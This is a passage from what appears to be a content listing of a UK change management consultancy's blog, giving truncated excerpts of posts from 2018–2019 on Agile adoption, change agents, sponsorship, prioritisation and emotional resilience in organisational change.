our current role, but we have to innovate, and ideas fuel those innovations. Acquiring information and questioning its impact takes time and needs to be a regular task. I dedicate one of my train journeys to work towards the end of the week to this (my brain on a Monday/Tuesday can only do immediate tasks... --- ### Professional Change Management - Published: 2019-05-29 - Modified: 2022-04-13 - URL: https://agilechangemanagement.co.uk/professional-change-management/ - Categories: Change Leaders, Insights, Roles in change management Introduction Working with an amazing group of Change Agents last week, so committed to making change happen in their organisation. Led us into lots of discussions about how to manage high volumes of change. We debated what I refer to as "enterprise level change" which is the informal mobilisation of lots of teams to deliver multiple changes. Once again this brings up the problem of too little capacity for too many ideas. I drew my usual diagram of Run the business/Change the business" and it led us to conclude that we are getting to the point in Change Management where we need to "professionalise". "Run the business" ie. business as usual is supported by a whole range of clearly defined processes, standards, policies and metrics. However, "change the business" is still an informal network of ideas and practices carried out on a best efforts basis. It is humbling to realise that so much organisational transformation relies upon the extra effort people affected put in to creating new ways of working. It is almost as if we are stuck with the perspective that change is not as important as "business as usual" so it doesn't need to be properly planned or resourced. We hope that change is successful rather than creating mechanisms to ensure that it is. With so many sources of disruption and so many drivers for change, perhaps it is time to be clear: successful organisations are those that balance "run the business" with "change the business" and that... --- ### Top 4 Change Agent Skills - Published: 2019-05-19 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/top-4-change-agent-skills/ - Categories: Change Agents, Change management skills, Emotional resilience, Impact assessment, Overcoming resistance to change, Resources - Tags: behavioural change, Change Agents, Change Champions Introduction In a recent Change Management Institute debate, the most often cited quality was emotional intelligence. This included the ability to build trusting relationships with stakeholders, demonstrate empathy, influence others and believe in the change. this belief in the importance of change was described as a ‘curiosity’ about what and how to improve. We also identified the need for Change Agents also need resilience, which is the ‘gritty determination’ and the ability to keep going with the change, even when there are no immediate benefits. Core skills of effective Change Agents 4-most-effective-skills-for-Change-AgentsDownload Here are four key skills, which are all inter-related as strength in one skill makes it easier to achieve the other skills: Understanding the reasons for resistance to change and by understanding the origins and drivers for change, understanding how to address resistance. How to undertake a localised impact assessment using a checklist of pre-defined questions. Identifying and planning of all the activities to create and adopt the new ways of working. Undertaking a Readiness Assessment to understand if their local area is ready to change its ways of working Resistance to change Resistance is the “push-back” that we get when we suggest new ways of working. Change Agents need to understand what triggers resistance because this helps to decide how to positively influence the resistor to participate in the change. Key knowledge areas for resistance to change include: Understand that sometimes resistance is merely an immediate reaction to something new, and is not genuine opposition, but a... --- ### Agile leads to honesty! - Published: 2019-05-15 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/agile-leads-to-honesty/ - Categories: Insights Introduction I am helping an organisation transition from waterfall to Agile project management. This has led to lots of discussions on the benefits of Agile. Aside from the obvious benefits of faster response to changing circumstances, continuous representation of the customer/business viewpoint and earlier return on investment, I want to add honesty. Honesty refers to means honesty about how much we can get done in the time allowed. I know those who are against Agile complain that there is no planning or reporting but that isn’t true and the planning that is done in Agile gives us much greater visibility of what is being created, often at a very granular level. This spreads honesty into what the business can expect as a result of the project and therefore honesty about the likely benefits achieved. Planning honesty Planning is output or achievement focused, not based on activities. This leads to an inherent honest about what is being created, moving from epic level requirements to individual user stories and then more specific sub requirements into even more specific sub sub requirements and then the specific activities needed to deliver these requirements. Teams use techniques to decompose each piece of work into these specific activities, which enables them to cross check with each other that they have the resources, skills and information easily to hand to enable them to do the work. Again, there is honesty in whether or not everything required is in place to get the work done. Development honesty This... --- ### Lessons learned - reinforcing change - Published: 2019-05-06 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/lessons-learned-reinforcing-change/ - Categories: Insights, Roles in change management, Sponsors and Senior Responsible Owners - Tags: behavioural change, change management, communicating change, sponsorship Introduction I attended numerous presentations last week which identified how critical senior leader commitment to change really is. This isn't a surprise to any of us, but I thought it would be useful to define some practical activities to generate the reinforcement of change by senior leaders. To ensure the change you make becomes the new norm, and to prevent rollback to old ways of working requires a concerted effort on the part of all those responsible for the change. This effort falls into two categories: Structural reinforcement Emotional reinforcement Structural reinforcement Structural reinforcement is a key element of the cultural models of Carolyn Taylor and Von Trompenaars and Hampden Turner who state that change must be incorporated into the systems used to run your organisation. As you change ways of working update processes, standards, policies, job descriptions and performance metrics to reflect how work is now done. This ensures that when you are audited, what you do and how you do it is reflected in your procedures. It also ensures that when new staff are on-boarded induction materials and training materials are up to date. Emotional reinforcement Emotional reinforcement involves appealing to the heart, making people feel they want to work in the new way. There are 3 complementary activities that generate emotional reinforcement: What you say What you say can be further defined: What you say Who you say it to How you say it When you say it How often you say it What you say This... --- ### Lessons learned - Change Agents - Published: 2019-05-04 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/lessons-learned-change-agents/ - Categories: Change management techniques, Insights, Stakeholder engagement - Tags: behavioural change, change management Introduction Working with a new group of Change Agents last week, I thought I would share their lessons learned. Lesson 1 - Relationships First big surprise for many of them as the week unfolded was the realisation that whilst it is called "change management" don't assume the word management means process. As one of them said to me, change management is more of an art than a science because it is all about people. So the first big takeaway is that core to our success is the ability to persuade others. In turn, this requires us to build trusting relationships where we demonstrate empathy for their viewpoint and help them discover the impact and benefits of the change so they are willing to work differently. Lesson 2 - Motivation The next big takeaway was the importance of intrinsic motivation. Extrinsic motivators (rewards and punishments) still have their part to play but they are the support act. The main event is the development of a deep seated desire by those impacted to want to change. We used Dan Pinks work on intrinsic motivation to get our thinking started. We talked about the inter-dependencies between purpose, autonomy and mastery. To establish purpose we used lots of techniques including Force Field Analysis to help those impacted vent their frustrations about the difficulties and problems associated with the change. This gives people a chance to "clear the decks" emotionally before seeking out the benefits, improvements and advantages of the change that we as Change... --- ### Lessons learned - Agile for teams - Published: 2019-05-04 - Modified: 2022-04-13 - URL: https://agilechangemanagement.co.uk/agile-for-teams/ - Categories: Agile change management culture, Insights, Ultimate guide to Agile Change - Tags: Agile change management, Agile PM, Agile project management Introduction I attended an inspiring talk on using neuroscience to create high performing teams by Kamila Sip, Director of Neuroscience Research at Neuroleadership Institute. Three factors emerged as key to excellent team relationships and high performance: Have a common goal – clarity of what is expected and why is a powerful unifying force for the team. It encourages working together as people realise they need the help of others to deliver something that is bigger than their own skill set. Break group think – celebrate those who raise questions and concerns about the viability and practicality of the work. Harmony doesn’t lead to the greatest productivity and innovation. Challenge is important for finding better answers. Avoid social loafing – make sure people don’t opt out of pulling their weight by letting other team members take up the slack. Agile Change Agent My reflection was how the Getting Started step for each iteration within the Agile Change Roadmap and the use of Sprints within the Making Progress step address these success factors. Getting started Getting Started is the first process in every iteration/wave/tranche/stage of an agile change initiative. The purpose is to establish what needs to be done, identifying and prioritising work according to their scale of benefits. Getting Started is formed of two steps: Discovery – brainstorming ideas for the work needed to create the outcome for the iterationPlanning – prioritising the work according to the contribution to benefits that each piece of work will make Discovery is the point... --- ### Lessons learned - prioritising - Published: 2019-05-04 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/lessons-learned-prioritising/ - Categories: Change management techniques, Insights, Planning a change - Tags: change management, enterprise change management, MoSCoW prioritisation technique Introduction At a presentation by Don Harrison, President of IMA, I was totally inspired by his comment "stop talking about prioritisation and start talking about sequencing". Don was referring to the problem that senior executives too often have multiple top priorities. This means that whilst they believe they are prioritising they are in fact categorising. They are reviewing the portfolio and making the distinction between essential, important and nice to have. However, they are not taking the difficult decisions to identify what comes first and what comes next. Don believes sequencing is the answer. This means asking penetrating questions about each initiative to understand what shape of jigsaw puzzle piece it is and how it contributes to the overall jigsaw. I applaud the idea but these questions are not being asked. Problem As with everything I think its important to try to understand the problem before finding a solution. So why are executives living with a situation where there are multiple "top" priorities and staff are trying to manage multiple calls on their time to deliver changes whilst still maintaining "business as usual"? I think there are multiple factors, so consider which ones are most relevant for your organisation: 1. The effort required to make change happen is invisible, because it is sunk costs. Staff salaries are already baked into the cost structure, and as most change is about changing how an organisation works, the majority of the work is done by existing staff. 2. Taking decisions is hard. It... --- ### Making the argument for portfolio management - Published: 2019-04-24 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/making-the-argument-for-portfolio-management/ - Categories: Insights, Roles in change management, Sponsors and Senior Responsible Owners I have been talking a lot recently about enterprise change management, the need to manage all the changes that an organisation is implementing, and not to treat each change initiative as separate and distinct from its counterparts. This is becoming a critical skill, as the volume of change continues to outpace our ability to resource our ambitions. A core element of effective change management is a rigorous process of portfolio management which includes: Horizon scanning to keep searching for potential changes so that the business is notified well in advance and not surprised by change. Agreement on what changes are to be tracked in a portfolio and which are to remain within the remit of the team implementing them. Application of prioritisation criteria that ensure only the most valuable, beneficial and useful changes are implemented at any one time. Without portfolio management, staff will continue to feel overwhelmed by change. We know that stress levels are work are increasing, and in part that is because we keep asking staff to do more within the same amount of time. The most common issues are: A feeling of hopelessness as there are so many things to manage at once, everything gets a little bit of attention, but nothing ever gets finished. A feeling of not delivering the best quality, because there is no time to do a proper job, just the minimum before moving onto another issue. Productivity dips because doing a little on one task before moving onto other tasks causes... --- ### Neuroscience - Published: 2019-03-22 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/neuroscience/ - Categories: Emotional resilience, Featured, Insights Fantastic event in Bristol this week on neuroscience for change management. Brilliant speaker, Tom Flatau from Team Working International gave us insight and led us through discussions on the practical application in managing change of how the brain works. My key takeaways were: Culture isn’t the biggest driver for decisions By understanding how the brain works, you get an insight into what can inadvertently alienate people. Our brains create meaning from every experience we have, everything we see and hear and that meaning is affected by our previous experiences. For those of us leading change across multiple countries, it was interesting to hear how consistent the brain is in how it behaves, irrespective of culture. My conclusion is that whilst there are cultural rituals that sit on top of the basic operation of the brain, if I can use the principles of neuroscience to guide my interactions, then it doesn’t matter so much which country I am working in. Part of this was the statistic behind how we make up our minds. 95% of our decision making is based on emotion, and only 5% is drawn from facts and information. From the outset it is important to create positive feelings about the change, create an environment where people feel valued, feel safe to share their thoughts and hear about the opportunities created by the change. Any negativity from the start will be hard to shift, because however many positive facts you put forward, the emotional part of the brain has... --- ### Agile lessons learned - Published: 2019-03-06 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/agile-lessons-learned/ - Categories: Benefits of Agile Change Management, Insights, Ultimate guide to Agile Change Introduction Running an Agile workshop for those new to Agile this week, and two lessons learned really jumped out at me: I don’t think we talk enough about the business case for adopting an Agile mindset. I don’t think we talk enough about Agile as a culture, not a set of processes and techniques. Business case I spent a lot of time in the workshop helping the group to create the economic case for working in an Agile way, as they need to be clear on these arguments if they are to persuade their senior managers to support them. Firstly I explained the funding cycle for any project starts as soon as resources are committed, and only ends when all expenditure has been completed. In a traditional waterfall or PRINCE2® project the funding cycle runs from the requirements gathering to go-live. Requirements gathering and planning involve a lot of resources. I might establish focus groups, run workshops, commission surveys or interview key stakeholders to discover their needs for features and functions. Some of the project team might be involved in this, but as I use this information to develop detailed plans, more of the project team will come on board. As we start work on the first activities, the project team is fully resourced. Additional costs are accrued during the project as suppliers are commissioned and change management activities begin in the business units impacted by the project. As a former CEO, I know the pressure of commissioning these types... --- ### Design Thinking - Published: 2019-03-01 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/design-thinking/ - Categories: Change management techniques, Insights, Scoping a change So many ‘lightbulb’ moments for me at this thought provoking event Change Management Institute UK event, but key ones I will take away: Clarifying what design thinking is all about. Design is not what something looks like but how it works. So when we say something has been well designed, what we are really saying is that the experience of using it has been well thought through I loved how @LeeSankey gave us the business case for design thinking “It makes good business sense to create a great customer experience because when the experience is poor, the cost of answering queries and dealing with complaints from customers increases the total cost of ownership and decreases your profit margin. ” Everything I do now “starts with the end in mind” – understand what great looks like before you start work on anything, otherwise you will waste effort on interesting but not essential work. So the idea of viewing everything from the experience lens really appealed. I aligned what Lee was saying to empathy maps. Asking the following questions enables me to ‘walk int shoes of others’ and imagine how they might experience what I am delivering to them: What does a great experience feel like? What are they seeing from me? What are they hearing from me? Is this information given to them in a format that they like? Do they have to look for information from me or have I anticipated their needs and provided it already? What is available... --- ### Critical Success Factors for Digital Transformation > Digital transformation must be treated as a cultural change, so the assumptions, values and priorities of the organisation must be defined. - Published: 2019-02-22 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/critical-success-factors-for-digital-transformation/ - Categories: Digital transformation, Insights, Popular change initiatives Introduction Thought provoking session from Kuldip Sandhu on Wednesday night. I was keen to attend because the title of the talk - Digital Transformation - is something many of my clients are grappling with. However, they all have different interpretations of what digital means to them, and of course the scope and scale of transformation is different in every case so I want to keep upgrading my knowledge. Defining Digital Transformation This Change Management Institute UK event triggered ideas about what digital could mean. Kuldip used an example of the evolution of personal transport from horse and cart to cars. The big shift is how individuals are now the recipients of instructions rather than the implementers. We used to drive cars, taking every decision for ourselves from putting on the lights and windscreen wipers to applying the breaks. Now these decisions are taken by the software running the car based on the data picked up by its sensors. When things are done for us we move from providing our own service to being consumers of a service. This turns us into the audience which means we can sit back and criticise what we receive. Our expectations of service from others is more demanding than when we are delivering the service to ourselves. If software delivers a good service our demands for more services increase. We want software to anticipate more of our needs and carry out more tasks. This example highlighted two issues: To be successful organisations need to be... --- ### Guide to creating Personas - Published: 2019-02-22 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/guide-to-creating-personas/ - Categories: Change management techniques, Insights, Stakeholder engagement Use this mind map of potential questions to answer to develop personas for your stakeholders impacted by change. If you want to be successful in persuading stakeholders to change their ways of working, you need to be able to understand their perspective, so that you can tailor everything you communicate to meet their needs. --- ### Building a relationship with your programme sponsor > Find out all your need to know about building a relationship with your programme sponsor from Agile Change Management. - Published: 2019-02-21 - Modified: 2024-08-05 - URL: https://agilechangemanagement.co.uk/building-a-relationship-with-your-programme-sponsor/ - Categories: Insights, Roles in change management, Sponsors and Senior Responsible Owners Introduction I am doing a lot of work to build awareness, understanding and commitment by senior leaders to performing the sponsor role, often as part of the transformation of their organisation. I am doing this work for all sorts of organisations: midsized, global, private sector, public sector and NGOs. Common to all this work is a critical issue: the motivation of the Sponsor has been assumed. Challenges faced by Sponsors We work hard in change management to establish “the felt need for change” with those impacted by change. We talk about establishing intrinsic motivation, the “internal fire” that self-motivates those involved to develop and apply new ways of working to make the change a reality. However, we assume that the motivation for the change is already felt by the Sponsor, and that is why they are taking the Sponsor role. In my experience, as a change management consultant and as a former CEO, that is not how it works. The responsibility for sponsoring a new initiative evolves and becomes someone’s job based on their objectives, their remit and how close what needs to be achieved falls into their perceived area of responsibility. In addition, political factors are at work, where people volunteer for the role or suggest others for the role based on their interpretation of how strategically valuable or how much importance is placed on the outcome by other senior leaders. So I don’t agree that Sponsors are already internally motivated to be brilliant sponsors. It is closer to... --- ### Change Overload! - Published: 2019-02-13 - Modified: 2021-09-30 - URL: https://agilechangemanagement.co.uk/change-overload/ - Categories: Basics of change management, Resources, Understanding change management The high volume of change taking place in organisations causes concerns for those of us implementing change and for those staff experiencing change. Too much change risks destabilising the ability of the organisation to carry out "business as usual". Read this paper for a summary of the issues and ideas for how to address them. Change overload --- ### Ambitious in an Agile world > It sounds like a lot of hard work but it's more fun to be proactive and take control of your career than to wait until someone notices you! - Published: 2019-02-10 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/ambitious-in-an-agile-world/ - Categories: Change management career path, Insights Introduction I was working with a group of junior but ambitious people recently, and we debated how to overcome the constraints of hierarchical structures. Being told that you cannot progress because you aren't senior enough doesn't feel right in our more agile working environments. So if you have great ideas and the energy and enthusiasm to implement them but keep hearing NO, what can you do? The idea that we felt had the most long term impact for career development was building status through expertise not seniority. Expertise = Credibility With so much change taking place there is a lot of risk, uncertainty and fear of blame. To minimise risk, it is always easier to listen to the most well-informed person in the room. Expertise conveys a form of credibility, just as seniority confers credibility. Those with authority take note of those that they believe have the "right" answer.   The problem the ambitious but junior person has, is that there is an assumption that the more senior a person, the more capable they are, so they are the voice to listen to. Robert Cialdini in his excellent work Persuasion, explains that humans don't make rational decisions, they make decisions based on short cuts: SENIORITY = TRUSTED AUTHORITY, EXPERIENCED PROFESSIONAL, PERSON WHO HAS THE "RIGHT ANSWERS" To overcome this short cut, replace it with another one - the most credible, qualified, well-informed person in the room is the one with the "right" answers. So becoming the one that others turn... --- ### Feeling overwhelmed by change - Published: 2019-02-05 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/feeling-overwhelmed-by-change/ - Categories: Basics of change management, Insights, Relationship with project management Introduction At a recent webinar, I was asked this question: "As a working manager, how can you reduce declining trust in companies that make changes yearly, not giving changes a chance to show results. Employees then don't trust the next change. " I think there are two forces at work here: Cynicism about the likely value of the change Uncertainty generated by the frequency of change This is my advice for addressing these two forces: Cynicism Increasingly, staff at all organisations are showing signs of cynicism about the value, purpose and benefits of getting involved in changes that are not given time to show results before being asked to move onto the next change. This means that a key ingredient of staff motivation is affected: the purpose motive. Dan Pink in his book Drive, has written engagingly about the power of intrinsic motivation, which he states is comprised of 3 inter-related forces: The belief in the purpose and value of the change Autonomy i. e. self-choice about how to get involved in the change Applying this self-choice to achieve Mastery, i. e. using the change to build skills and get better at tasks However frequent the changes, I think supervisors and managers have to help staff see the value of trying to change existing ways of working. Spend time with them brainstorming the advantages, and identifying the current problems that might be solved if changes are made. Break the change into small actions and ask staff to run each change... --- ### Tactical Agile AND Strategic Agile > I go to a lot of Agile Meetups where we discuss specific aspects of improving agile team performance. Some of the examples include - Published: 2019-01-27 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/tactical-agile-and-strategic-agile/ - Categories: Agile change management culture, Insights Introduction I go to a lot of Agile Meetups where we discuss specific aspects of improving agile team performance. Some of the examples include Improving sprint planning Models of team development Coaching the team to share knowledge and work together It is important to address team performance but one of my concerns is that a lot of Agile education address this tactical level but doesn't expand learning to include the bigger picture. I worry there is too little emphasis on commercial understanding and explaining how Agile delivery helps an organisation achieve its strategic objectives. After all, a successful agile environment is not just a finely tuned production line of delivery. Key areas that I think we need to be addressing at the strategic level include: Involvement of the business Understanding business strategy Involvement of the business I know that effective Agile teams are keen for business involvement, but I think sometimes that the balance of benefits between the Agile team and the business isn’t right. I want to see involvement of the business in a way that supports their objectives and isn't just about increasing the delivery from each sprint. Our colleagues who are responsible for day to day operations find it hard to make the time available to help shape the deliverables. Agile is a one team culture and they are valuable partners for any agile team. But their objectives are greater than shaping the functionality being created by the Agile team. Their objectives are to understand enough about... --- ### Agile Change Management - Published: 2019-01-20 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/agile-change-management/ - Categories: Basics of change management, Insights, Understanding change management Introduction Enterprise change management is becoming an issue we need answers for. I am using the word enterprise to represent the total view of change taking place in an organisation. I have been running lots of workshops over the last few weeks to help clients manage the big changes they want to happen this year. Each workshop brings up the same problems: We are already doing a lot of change, so how do we fit this one in as well? Our staff feel that the day job is getting lost in amongst all the new things they are asked to do, so how do we help them cope? How do we involve staff to manage change for themselves and create a volume of people to manage change much greater than we could afford if we were relying on external consultants? If these are your concerns, read on. 1. High volumes of change Fitting in yet more change means going further than having a portfolio where all in progress, planned and potential ideas are captured. It requires active management and a willingness to use what the portfolio is telling you. Active management means prioritising initiatives using pre-defined criteria to identify which of all the possibilities are the most worthwhile. This value is different for every organisation so draw out the factors that are relevant to your strategic objectives: Enhances customer service Delivers cost efficiencies Enhances reputation for innovation and being a market leader Increase staff engagement and improves staff retention Meets... --- ### Change is changing! > To sum up, for those of us in Change Management consultancy roles, this is the year to provide lots of practical help. - Published: 2019-01-13 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/change-is-changing/ - Categories: Insights, Roles in change management, Sponsors and Senior Responsible Owners Introduction With the wide range of clients I have around the world, I am able to spot trends based on what they are asking me to do. As the requests started coming in immediately after Christmas Day I have had a couple of weeks to look for the common threads and these are some of my conclusions. Practical help The overarching issue is the demand for practical help. Organisations have been working along a change management development path over the last few years. As recognition has grown about the importance of managing change well to ensure benefits from project spend are realised, there has been lots of training to educate staff in change management techniques. However, training has its limitations. It is great for increasing knowledge and explaining how to do things but to build real competence (and confidence) practice is needed. Using the toolkits my clients have built for themselves and working with the people they have trained in change, I am being asked to work alongside them to: Mentor those creating their own Change Plans Develop the capacity and capability for effective sponsorship Mentoring I use face to face workshops to mentor those creating their Change Plans by leading them through tailored workshops to identify all of the communication, persuasion and participation activities that take change from an idea to a reality. Those I am working with are not Change Management professionals. They are subject matter experts from the business and line managers who are already overwhelmed with... --- ### Change Management Masterclass - Published: 2019-01-12 - Modified: 2024-10-23 - URL: https://agilechangemanagement.co.uk/change-management-master-class/ - Categories: Insights Change management training is become an important element for staff development, as organisations seek to increase the number of people that can implement changes. There is so much change taking place in organisations, that there is a shortage of capacity for those members of staff who feel they have the tools and techniques to successfully lead change initiatives. This change management is in the form of a Masterclass for supervisors and middle managers who have the responsibility for managing change within their own areas of the business. This change management training is also suitable for Subject Matter Experts from the business who are called upon to create new ways of working as a result of projects that deliver new systems, products and services. Click here to download the full course outline. --- ### It is time to understand Agile! > Agile is a buzzword that everyone is talking about, but which is interpreted differently depending who you talk to. - Published: 2019-01-04 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/it-is-time-to-understand-agile/ - Categories: Insights, Ultimate guide to Agile Change, Understanding Agile Change Management IntroductionAgile is a buzzword that everyone is talking about, but which is interpreted differently depending who you talk to. Now Agile is being labelled differently by different groups. This includes the terms Agile Change Management and Agile Project Management. As the author of a book called Agile Change Management I thought you might appreciate these resources to help you build your understanding of this important topic. Strategic view of Agile change managementWhen I am in the boardroom, Agile is perceived as a mechanism for implementing change faster and getting ideas to market ahead of the competition. It is seen as a competitive advantage and strategically important. However, at a senior level the problem is that it is regarded as a mechanism, when it is a cultural change, because it is not a set of processes, it is a way of thinking and behaving. IT view of Agile change managementFor my clients in IT development and delivery, Agile is represented by a collection of methodologies including Scrum®, SAFe® and AgilePM®. However, whilst this group follow the principles and techniques of Agile, too often they don’t have the clout to implement the cultural change needed to gain wide adoption of their approach. Project view of Agile Change ManagementFor my clients in project and change management, Agile is too often a way to deliver change, but without the rigour offered by framing it as an initiative. Therefore, they are working with project teams who want to get on and deliver, and who have... --- ### Trends in Change Management 2019 - Published: 2018-12-20 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/trends-in-change-management-2019/ - Categories: Change management profession, Latest trends in change management, Resources, White Papers Welcome to my predictions for the issues and challenges that I think will shape our change management profession in 2019. A lot of the trends I am seeing now have a common theme: they are all driven by the impact of high volumes of change. This impact is felt by those leading individual initiatives as well as those in the business who are trying to develop new ways of working whilst maintaining acceptable levels of “business as usual”. The challenges generated by increasingly high volumes of change include: • Increased awareness of the need for change management The need to accurately map the impact of all the changes on individual business units The need for effective sponsorship The need to build internal capacity for change management In this paper I will explore the issues and share examples of how forward thinking organisations are addressing them. Trends in Change Management 2019 --- ### Curiosity is essential for effective change management > Things to take into consideration when working on curiosity and change management. Contact us for more information. - Published: 2018-12-11 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/curiosity-is-essential-for-effective-change-management/ - Categories: Insights, Stakeholder engagement Introduction Agile Change Management is all about creating new and different ideas. The Agile approach means ideas early in their development are given out to the business for them to try. Their feedback is essential in furthering the concept and adding more features. But... I am starting to wonder how many of us are really ready for the feedback. After all, it is usually a mix of praise and criticism, too often weighted in the criticism: It doesn't do what we agreed! Where is feature X? I thought it was going to replace Y but now it doesn't look like it will? It doesn't connect with Z so we will need a manual process to record that data! Does this sound familiar? It is hard to seek out feedback but if it is to be useful, I have to do it with a mind-set of curiosity. Curiosity I must start the process with a genuine interest in what I am going to hear. And to get the most useful feedback, I need to hear different perspectives. I need courage to move past my usual contacts and find a more diverse range of voices. After all, the more different the person giving the feedback is to my experience and background the more likely they are to bring fresh eyes to the issue. I have just finished reading the excellent book Becoming by Michelle Obama where she comments "sameness breeds more sameness, until you make a thoughtful effort to counteract it. "... --- ### Emotional resilience key to effective Change Management > Change Management continues to develop as a profession. I attended a fantastic presentation from Dr. Aarti Anhal on emotional resilience. - Published: 2018-12-02 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/emotional-resilience-key-to-effective-change-management/ - Categories: Change management techniques, Emotional resilience, Insights Introduction Change Management continues to develop as a profession. As part of this I attended a fantastic presentation from Dr. Aarti Anhal on emotional resilience at the Change Management Institute UK event last week. Lessons learned Lots of different definitions of emotional resilience, but what they all have in common is that resilience is not just about coping with adversity, it is being able to thrive and to perform well in difficult circumstances. Resilience is a choice, because it takes hard work. It requires us to actively manage our emotions. Not just react to situations, but to think through what the most effective response would be and apply that to the situation. Holding back, not just reacting but managing our reaction. A lot of what makes us emotionally resilient is personality, so we cannot affect that, but other factors that contribute to resilience are a willingness to challenge our assumptions, look at situations from different perspectives and a willingness to put the effort into finding and applying coping mechanisms that work for us. There was more evidence for the importance of positive thinking, especially during change. This is because negative emotions create a kind of tunnel vision, where people become very limited in the range of perspectives and sources of information, they are willing to consider. Positive emotions make us more aware of the people around us, and how others might interpret what we are doing. I can certainly attest to the problems that an inward focus produces when leading... --- ### Change management challenges for 2019 - Published: 2018-11-25 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/change-management-challenges-for-2019/ - Categories: Insights, Latest trends in change management The theme of our launch event in Cardiff was latest trends in change management. Alex Aviles gave a summary of the approach that Principality Building Society are taking. Points I noted during his presentation were: You cannot participate in the structuring of transformation teams unless you have a good understanding of Agile terminology and methods. This is because, as is the case with Principality, teams are being established on the basis of Agile practices, and those leading the change management activities can only be successful if they are partnered with those in project delivery who are inevitably working to Agile standards and principles. We are moving towards a need to establish a RACI table for responsibilities because job titles in the world of project management and change management are becoming a mess. Everyone has some responsibility for managing change and helping users to adopt new ways of working, whatever their formal job title. When putting together teams for delivery and implementation we need to debate, clarify and assign responsibilities according to skills and interests rather than define the contribution of team members according to old fashioned notions of who does what based on traditional project roles: Project Manager; Business Analyst; Business Change Manager; Sponsor etc. Alex mentioned the importance of helping to redefine the target operating model for the organisation as a key outcome of transformation, and he was the second speaker I have heard on this subject in a week. In my experience, if you want to claim experience... --- ### 7 challenges for the business created by Agile project delivery > What can we identify as 7 challenges for the business created by agile project delivery? Find out what we can offer here. - Published: 2018-11-19 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/7-challenges-for-the-business-created-by-agile-project-delivery/ - Categories: Benefits of Agile Change Management, Insights, Ultimate guide to Agile Change Introduction This email is a follow up to my webinar on sharing techniques between project and change management – click here for the recording. I started with the assumption that when talking about projects, we are talking about agile projects where change is delivered to the business via a continuous stream sprints rather than waterfall projects that only deliver once every activity has been completed, at the end of the project. This is an important assumption to clarify, as Agile projects deliver much more change to those in the business, who then have to adapt their ways of working to incorporate new features and functions into how they get things done. Top 4 issues The main point I made in my webinar is that Agile produces challenges for those who are responsible for “business as usual” because as they are so busy servicing customers and getting the day job done, they have very little time for assimilating the impact of changes coming out of the project environment. In my webinar I listed 4 key issues that I see businesses routinely struggling with as they adopt Agile project management / Agile training courses. I got the nearly 400 participants who had dialled in live to the webinar to tell me if these were challenges they had experienced – the number who said yes are shown in percentages: Business overwhelmed by volume of change 72% If change is delivered sprint after sprint, it is easy for those in the business to feel... --- ### Key people for effective business change > To generate the level of involvement needed to make change real, I actively seek out people who enjoy creating processes and are focused. - Published: 2018-11-11 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/key-people-for-effective-business-change/ - Categories: Change Agents, Insights, Roles in change management Introduction The two groups who are talked about most in Agile change management are the Early Adopters and the Laggards. Early Adopters are open to change, seek out new and different ways of working so are early to volunteer and help us create examples and pilots for how the new ways of working can work in practice. They have a belief that change is necessary, it is essential to progress. If they are not changing, they are standing still and everyone else who is changing is moving past them. Laggards are committed to current ways of working. They recognise the benefits of stability and the knowledge that has been built up about the current ways of working. They will defend the existing ways of working over the newer, riskier ideas of change. I think there is a forgotten group who play an essential part in making sure change really happens. I call them the Housekeepers, although at an Agile event recently, using a music industry analogy, the Early Adopters were referred to as the Rock Stars and the group that interests me were called the Roadies! Early Adopters show early enthusiasm for change, and quickly get on with experimenting and creating new ways of working. However, their enthusiasm is for how the change will work for them, and as soon as they have made progress, they move onto the next change. That isn’t especially helpful for those of us responsible for implementing change across the whole organisation. I don’t want... --- ### How to create a learning organisation > How to create a learning organisation - the challenge, the problems and the solutions. Contact Agile Change Management for more information. - Published: 2018-11-06 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/how-to-create-a-learning-organisation/ - Categories: Agile change management concepts, Insights, Ultimate guide to Agile Change The challenge How to create a learning organisation. This article is the result of a change design workshop, where an organisation is trying to become a learning organisation and create a culture of innovation, using an Agile change management approach. The organisation wants to create an environment of professionalism, pride and personal responsibility. The problems There is growing recognition within the organisation that the old methods of motivation through promotions and job title inflation don't work. For a start, the organisation wants a flat structure which means it doesn't have many promotions to offer. Another issue is that younger members of staff are more interested in the ability to pursue their interests than they are in increasing levels of status and assigned responsibility. There is an increasing cynicism about the benefits of greater responsibility. Staff are happy to take responsibility in areas where they wish to grow their experience and skills but rising through the ranks to be responsible for increasing numbers of people is not a guarantee of motivation. The current structure of the organisation is a typical hierarchy with a silo mentality. Staff communicate well within departments, but their loyalty is too often to their area of the business rather than being focused on the customer. Customer need is met by multiple departments but there is little cross functional cooperation. Key Performance Indicators and other metrics are often based on departmental performance (not customer satisfaction) which reinforces this territorial mentality. This isn't a surprise. In hierarchical structures staff... --- ### Why don't people use our work? - Published: 2018-11-04 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/why-dont-people-use-our-work/ - Categories: Benefits realisation, Emotional resilience, Overcoming change fatigue, Overcoming resistance to change, Resources, Stakeholder engagement, White Papers This presentation was delivered at Agile Tour London presentation Friday October 19th 2018. The objective of the presentation was to understand why the improvements in project productivity through regular project deliverables available after every sprint has caused problems for our users. The presentation explained aspects of how the brain works, and how users react to the changes in their ways of working triggered by these project deliverables. If we can understand why they are reacting in the 